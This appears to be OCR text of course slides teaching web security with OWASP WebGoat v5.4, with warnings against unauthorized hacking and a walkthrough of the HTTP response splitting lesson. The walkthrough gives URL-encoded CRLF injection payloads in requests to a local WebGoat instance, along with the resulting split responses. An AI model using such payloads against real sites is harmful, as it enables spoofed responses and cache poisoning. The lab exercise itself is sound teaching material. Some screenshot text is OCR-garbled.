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Useful Links

OWASP WebGoat Project

— https://www.owasp.org/index.php/Category:OWASP_WebGoat_Proje
ct

— https://code.google.com/p/webgoat/wiki/Installation
OWASP WebGoat v5.4 Web Hacking Simulation WalkThrough Series
— http://webappsecmovies.sourceforge.net/webgoat/

OWASP WebScarab Project (HTTP intercepting proxy)

— https://www.owasp.org/index.php/Category:OWASP_WebScarab_Proj
ect

— http://www.acsac.org/2007/downloads/t5-webscarab-instructions.pdf

The Hacker Firefox (Portable Firefox With Web Hacking Addons
Bundled)

— http://sourceforge.net/projects/hackfox/
PHP Charset Encoder / String Encrypter
— http://yehg.net/encoding/



Goal

* Web application security is difficult to learn and
practice.

— Not many people have full experience in exploiting
web vulnerability.

* WebGoat is a deliberately insecure web
application maintained by OWASP.
— It is designed to teach web application security
lessons.

— It is intended to let you learn where vulnerability may
exist and how exploitation occur, and most important
of all, to think about how to defense such web attack.



WebGoat Lessons

Cross-site Scripting (XSS) ¢ Numeric SQL Injection

Access Control e String SQL Injection
Thread Safety  Web Services
Hidden Form Field * Fail Open
Manipulation Authentication
Parameter  Dangers of HTML
Manipulation Comments

Weak Session Cookies e ...and many more!

Blind SQL Injection



Warnings

WARNING 1

While running this program your machine will be extremely
vulnerable to attack. You should to disconnect from the
Internet while using this program.

WARNING 2

This program is for educational purposes only. If you
attempt these techniques without authorization, you are
very likely to get caught.

If you are caught engaging in unauthorized hacking, most
companies will fire you.

Claiming that you were doing security research will not
work as that is the first thing that all hackers claim.



Installation Notice

* Please install WebGoat v5.4 Standard in your
own computer for practicing and
demonstration.

* WebGoat is a Java-based program, and it
supports Windows, Linux and Mac OS X.

 You can follow the installation instructions in
the official WebGoat website.

— https://code.google.com/p/webgoat/



C | [4 localhostR080 swWebGoat/attack?Screen=16&menu=100

Choose another language: | English »

Logout @

" OWASP WebGoat v5.4

Http Basics

Introduction
General

Hitp Basics
HTTP Splitting

Arcess Control Flaws
Ao Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency
Cross-Site Scripting
(®55)

Irmproper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Farameter Tampering
Session Management
Flawrs

YWeb Services

Admin Functions
Challenge

Solution Yideos

Enter your name in the input field below and press
accept the request, reverse the input, and display
basics of handling an HTTP request.,

The user should become familiar with the features

above buttons ta view hints, show the HTTP reque
cookies, and the lava source code, You may also tr
time,

Enter your Namme: ol

OWASP Foundation | Project WebGoat | Report Bug

Restart this Lesson

Lesson Plan Title: Http Basics
Concept f Topic To Teach:

This lesson presents the basics for understanding the transfer of
data between the browser and the web application,

How HTTP works:

All HTTP transactions follow the same general format, Each client
request and server response has three parts: the request or
response ling, a header section, and the entity body, The client
initiates a transaction as follows:

The client contacts the server and sends a document request

GET jfindex.html?param=value HTTR/1.0

Mext, the client sends optional header information to inform the
server of its configuration and the document formats it will accept.

User-2gent: Mozillaf4.06 Accept: imagefaifimagefipeaq, */*

&fter sending the request and headers, the client may send
additional data. This data is mostly used by CGI programs using
the POST method.

General Goal(s):

Enter your name in the input field below and press "go" to submit,
The server will accept the request, reverse the input, and display it
hack to the user, illustrating the basics of handling an HTTP
request.

The user should become familiar with the features of WebGoat by
manipulating the above buttons to view hints, show the HTTP
request parameters, the HTTP request cookies, and the Java
source code, You may also try using WebScarab for the first time,

Close this \Window




C | [4 localhost8080swWebGoat/attack?Screen=16&menu=100

Choose another language: | English v

Logout @

" OWASP WebGoat v5.4

Http Basics

Introduction
General

v Hitp Basics
HTTP Splitting

Access Control Flaws
£J4% Security
Authentication Flaws
Buffer Overflows

Code Quality
Concurrency
Cross-Site Scripting
(®55)

Improper Error Handling
Injection Flaws

Denial of Service
Insecure Commmunication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering
Session Management
Flaws

YWebh Services

Adrmin Funchions
Challenge

Restart this Lesson

Solution Yideos

Hint: Turn on Show Parameters or other features

SUBMIT=Go!

Screen=16

menu=100

person=Mike

ASESSIOMNID s FAE13F3A7AASF720EGBE7645B84CH501

Enter your name in the input field below and press "go” to submit, The server will
accept the request, reverse the input, and display it back to the user, illustrating the
basics of handling an HTTP request.

The user should become familiar with the features of WebGoat by manipulating the
ahove buttons to view hints, show the HTTP request pararmeters, the HTTP request

cookies, and the Java source code, You may also try using WebScarab for the first
time.

* Congratulations. You have successfully completed this lesson.

Enter your Name: [ekiki Gal

OWASP Foundation | Project WebGoat | Report Bug
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LESSON 1: HTTP SPLITTING



Lesson Plan

* The attacker passes malicious code to the web
server together with normal input.

— A victim application will not be checking for CR
(carriage return, also given by %0d or \r) and LF
(line feed, also given by %0a or \n) characters.

— These characters not only give attackers control of
the remaining headers and body of the response
the application intends to send, but they also
allows them to create additional responses
entirely under their control.



HTTP Splitting

* Splitting the HTTP request is essentially adding
header response data into the input field.

* This will cause the server to split the response
into 2 responses, the first response you can
control with the data you input into the form.

e Usually, the second “correct” response from
the server is lost, because the browser
responds only to the first response it receives.



Normal Request/Response

Request

GET
http://localhost:8080/WebGoat/attack?S
creen=3&menu=100 HTTP/1.1

Host: localhost:8080
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml

User-Agent: Mozilla/5.0 (Windows NT 6.1;
WOW64)

Referer:
http://localhost:8080/WebGoat/attack?S
creen=16&menu=100

Accept-Language: zh-TW,zh;
Cookie: JSESSIONID=F4E13F

Response

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Cache-Control: private

Expires: Thu, 01 Jan 1970 08:00:00 CST

Content-Type: text/html;charset=1SO-
8859-1

X-Transfer-Encoding: chunked
Date: Tue, 09 Dec 2014 15:50:28 GMT
Content-length: 33816

<IDOCTYPE html PUBLIC “...



Stage 1: HTTP Splitting

Search by countr

Searchl

Request

POST
http://localhost:8080/WebGoat/lessons/Ge
neral/redirect.jsp?Screen=3&menu=100
HTTP/1.1

Host: localhost:8080
Proxy-Connection: keep-alive

Referer:
http://localhost:8080/WebGoat/attack?Scr
een=3&menu=100

Accept-Language: zh-TW,zh;
Cookie: JSESSIONID=F4E13F
Content-length: 28

Language=TW&SUBMIT=search%21

ormal WebGoat Redirect 1,2

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1

Location:
http://localhost:8080/WebGoat/attack?S
creen=3&menu=100&fromRedirect=yes&
language=TW

Content-Type: text/html;charset=ISO-
8859-1

Content-length: 0

Date: Tue, 09 Dec 2014 16:25:00 GMT

Server responds with 302 temporary
moved, sends the location the browser
should look next for the data.




Normal WebGoat Redirect 2,2

Request

GET
http://localhost:8080/WebGoat/attack?S
creen=3&menu=100&fromRedirect=yes
&language=TW HTTP/1.1

Host: localhost:8080
Proxy-Connection: keep-alive

Referer:
http://localhost:8080/WebGoat/attack?S
creen=3&menu=100

Accept-Language: zh-TW,zh;
Cookie: JSESSIONID=F4E13F

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private

Expires: Thu, 01 Jan 1970 08:00:00 CST
Content-Type: text/html;charset=1SO-

8859-1

X-Transfer-Encoding: chunked

Date: Tue, 09 Dec 2014 15:50:28 GMT

Content-length: 33925

<IDOCTYPE html PUBLIC “...
TW...

Solution Videos

Screen=3
fromRedirect=yes
language=TwW
menu=100

JSESSIONID = FAE13F




HTTP Encoding

foobar foobar%0D%0A%20Content-

Content-Length: 0 Length%3A%200%0D%0A%20HTTP%2F1.

HTTP/1.1 200 OK 1%20200%200K%0D%0A%20Content-
Type%3A%20text%2FhtmI%0D%0A%20C

Content-Type: text/html ontent-

Content-Length: 47 Length%3A%2047%0D%0A%0D%0A%3C

htm1%3EHacked%20J%3C%2FhtmI%3E

<htmlI>Hacked J</html|> w

encodeURIComponent
+

from %0A to %0A%0D

http://yehg.net/encoding/



HTTP Splitting 1,2

Request

POST
http://localhost:8080/WebGoat/lessons/General/
redirect.jsp?Screen=3&menu=100 HTTP/1.1

Host: localhost:8080
Proxy-Connection: keep-alive

Referer:
http://localhost:8080/WebGoat/attack?Screen=3
&menu=100

Accept-Language: zh-TW,zh;
Cookie: JSESSIONID=F4E13F
Content-length: 236

Language=foobar%0D%0A%20Content-
Length%3A%200%0D%0A%20HTTP%2F1.1%2020
0%200K%0D%0A%20Content-
Type%3A%20text%2Fhtm|1%0D%0A%20Content-
Length%3A%2047%0D%0A%0D%0A%3ChtmI%3E
Hacked%20J%3C%2FhtmI|%3E&SUBMIT=Search%
21

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location:
http://localhost:8080/WebGoat/a
ttack?Screen=3&menu=100&fro
mRedirect=yes&language=foobar

Content-Length: 0
Response 75t }@) s

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1

Location:
http://localhost:8080/WebGoat/attack?Scr
een=3&menu=100&fromRedirect=yes&lang
uage=foobar%0D%0A%20Content-
Length:%200%0D%0A%20HTTP/1.1%20200
%200K%0D%0A%20Content-
Type:%20text/html|%0D%0A%20Content-
Length:%2047%0D%0A%0D%0A<htmI|>Hac
ked J<html|>

Content-Type: text/html;charset=15S0-8859-
1

Content-length: 0
Date: Tue, 09 Dec 2014 16:25:00 GMT %

2" Response

18



HTTP Splitting 2/2

Request

GET
http://localhost:8080/WebGoat/attack?Scr

een=3&menu=100&fromRedirect=yes&lang

uage=foobar%0D%0A%20Content-
Length:%200%0D%0A%20HTTP/1.1%20200
%200K%0D%0A%20Content-
Type:%20text/html%0D%0A%20Content-
Length%3A%2047%0D%0A%0D%0A%3Cht
mI%3EHacked%20J%3C%2FhtmI%3E
HTTP/1.1

Host: localhost:8080
Proxy-Connection: keep-alive

Referer:
http://localhost:8080/WebGoat/attack?Scr
een=3&menu=100

Accept-Language: zh-TW,zh;
Cookie: JSESSIONID=F4E13F

2"d Response

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 47

<html>Hacked J<html|>

Content-Type: text/html;charset=1SO-
8859-1

Content-length: 0
Date: Tue, 09 Dec 2014 16:25:00 GMT

19



Grading

Final term paper: 50%

— Installation and tools: 14%

— The solution to 6 designed lessons for the term paper: 36%
Demonstration: 50%

— The solution to 3 designed lessons for the term paper: 30%
— Questions 20%

Please register your demonstration time to TA in
advance!

No show = 0 points.
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|£:| WebScarab - conversation 511 = |- B ||

Previous Next 511 - POST http:ilocalhost:2080WebGoat lessonsiGeneralredirect.jsp 302 Moved Temporarihy -

Parsed Raw

FOST hitpefocalhost80300ebGoatilessonsiGeneraliredirect jsp?Screen=3&menu=100 HTTFM 1
Host: lacalhost2020
Froxy-Connection: keep-alive
Content-length: 236
Cache-Control: max-age=0
coept textthimml applicationikhtml+xml applicationimlg=0.9 imagefvebp M g=0.8
Crigin: hitpeflocalhost 3080
Izer-Agent: Mozillars. 0 dvindows NT 6.1; WOWEL) AppleWWehitta 37 36 (KHTML, like Geckod Chraome/29.0.2171.71 Safarifaldr. 36
Cantent-Type: applicationfe-waanay-form-urlencaded
Feferer: hitp:flocalhostB080ANVehGoatiattack?Screen=32&menu=100&fromRedirect=yes &language=TwW
ceeptEncading: gzip, deflate
ceeptLanguage: zh-Tww zhg=0.8en-J3;g=06en;q=0.4
Cookie: JSESSIOMID=F4E1 3F 3ATA4GF T 2HERBATE45BE4CEE01
uthorization: Basic Z3VIc30B8Z3 c30=

languane=foobar®%250d%250aContent-Lenoth%3A%25200%2500%2590a% 2500 % 250aHTTR % 2F1 1 %2520200%25200K%250d% 250a Content-Type % 3A% 252 0text % 2F htm | % 2500 %3

1] M | [ »

T T T T T T T T T T T T T e T T T T T T T T T T T T T R T T A T T T A T T T A T T T T T e T T T e T T T T T T e e T R e T T T T T T T A T A A T A T T R T A A R T R T T T e T R e A e I R I e e T T e T Ty P

Parsed Raw

HTTPM .1 302 Moved Temporarily

Semer: Apache-Coyotest 1

Location: httpeflocalhost8080ANYeh GoatfattackYScreen=3&menu=100&fromRedirect=yves&language=foobhar®%0d¥*%0aCaontent-Length: % 200%0d%0a%0d%0aHTTRPM 1 %20200% 200K %
Cantent-Type: texthtml charset=150-3855-1

Caontent-length: 0

Crate: Tue, 09 Dec 2014 17:18:08 GMT




